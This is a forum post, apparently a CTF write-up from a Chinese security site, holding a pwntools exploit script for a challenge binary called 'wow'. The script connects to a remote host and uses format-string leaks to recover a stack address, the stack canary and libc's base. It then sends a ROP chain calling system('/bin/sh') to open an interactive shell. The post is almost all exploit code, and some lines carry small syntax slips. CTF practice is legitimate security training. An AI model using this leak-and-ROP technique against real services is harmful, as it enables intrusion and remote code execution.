首页
社区
课程
招聘
ctf2018-第3题
发表于: 2018-6-20 19:52 2209

ctf2018-第3题

2018-6-20 19:52
2209
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
 
# context.log_level = 'debug'
 
target_file = './wow'
context.binary = target_file
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_path)
 
# io = process(['./linux_server64'])
# io = process([target_file])
io = remote('139.199.99.130'65188)
# log.info("process base: " + hex(io.libs()[os.path.abspath(target_file)]))
# log.info("process libc_base: " + hex(io.libs()[libc_path]))
 
 
def test():
    io.send('evXnaK')
    io.recvuntil('wow!\n')
    io.send('%1$lx\n%13$lx\n%15$lx\n')
    stack_addr = int(str(io.recvline()).strip(), 16)
    cookie = int(str(io.recvline()).strip(), 16)
    libc_addr = int(str(io.recvline()).strip(), 16)
 
    print('stack_addr: %s' % hex(stack_addr))
    print('cookie: %s' % hex(cookie))
    print('libc_addr: %s' % hex(libc_addr))
 
    libc_base = libc_addr - 0x20830
    print('libc_base: %s' % hex(libc_base))
 
    buf = ''
    buf += '1'*32
    buf += p64(0* 7
    buf += p64(cookie)
    buf += p64(0)
 
    buf += p64(libc_base + libc.search(asm('pop rdi;ret')).next())
    buf += p64(libc_base + libc.search('/bin/sh\x00').next())
    buf += p64(libc_base + libc.symbols['system'])
    io.send(buf)
 
    io.interactive()
    return
 
 
test()


[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册